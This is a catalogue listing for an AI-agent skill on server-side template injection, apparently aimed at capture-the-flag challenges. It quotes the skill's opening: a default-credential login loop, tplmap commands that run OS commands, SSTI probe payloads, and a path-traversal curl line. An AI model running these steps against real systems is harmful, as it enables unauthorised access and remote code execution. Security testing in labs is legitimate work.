ssti-exploitation

ssti-exploitation is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 68 tokens per session (5,040 once invoked), scanned A, original, Apache-2.0.

A guide to server-side template injection, a flaw where user input is interpreted as template instructions on the server. Template engines generate pages or messages from reusable text and data.

In plain words
What is it for?
Use it to test template-rendering endpoints across Python, PHP, Java, Ruby, and .NET applications, including engine fingerprinting and filter-bypass checks.
Why use it?
It helps identify when input can escape its intended text-only role and access server data or execute commands.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is curl -s "http://<TARGET>/download?file=../tmp/env_out".

Good fit Use it to test template-rendering endpoints across Python, PHP, Java, Ruby, and .NET applications, including engine fingerprinting and filter-bypass checks.

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Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas
agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/ssti-exploitation

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ssti-exploitation

README.md
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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

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Your own site · 80×15
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Per session 68 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,040 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00068 $0.05040
Opus 5 $0.00034 $0.02520
Sonnet 5 $0.00014 $0.01008
Haiku 4.5 $0.00007 $0.00504

Measured 7d ago against content hash 7c7c26fe2ad9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

ssti-exploitation scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}'

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

grep -o "subprocess.Popen\|<class '" /tmp/subclasses.txt | wc -l
src/skills/standard/exploit/web/ssti-exploitation/SKILL.md · 328 lines

How it starts

The opening of the file, as written. The whole thing — 328 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Template Injection (SSTI)

Exploits template engines that render user input, achieving RCE by injecting template directives.

Default Credentials Fast-Path (when default_credentials is a co-tag)

When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:

# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
    -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
  code=$(echo "$resp" | tail -1)
  [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done

A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.

Automated First Pass — tplmap

When run_container_tool exposes tplmap, run one bounded automated pass before deep manual payload iteration. It is most useful after you know the candidate URL/parameter or authenticated endpoint:

tplmap -u 'http://<TARGET>/page?name=test'
tplmap -u 'http://<TARGET>/render' -d 'template=test&name=test'
tplmap -u 'http://<TARGET>/page?name=test' --os-cmd 'id'

If tplmap fingerprints the engine or confirms code execution, use that result to read the flag path or pivot into the engine-specific section below. If it is negative on one field, continue with manual probes across all rendering surfaces; a negative single-parameter tplmap run does not rule out stored SSTI.

Detection — Universal Probes

# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt

# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49'        # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49'         # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49'         # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)

Read the full file on GitHub · 328 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 328 lines · 68 tokens per session scan A 7c7c26fe2ad9

Subscribe to this mod's changes

ssti-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 5,040 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.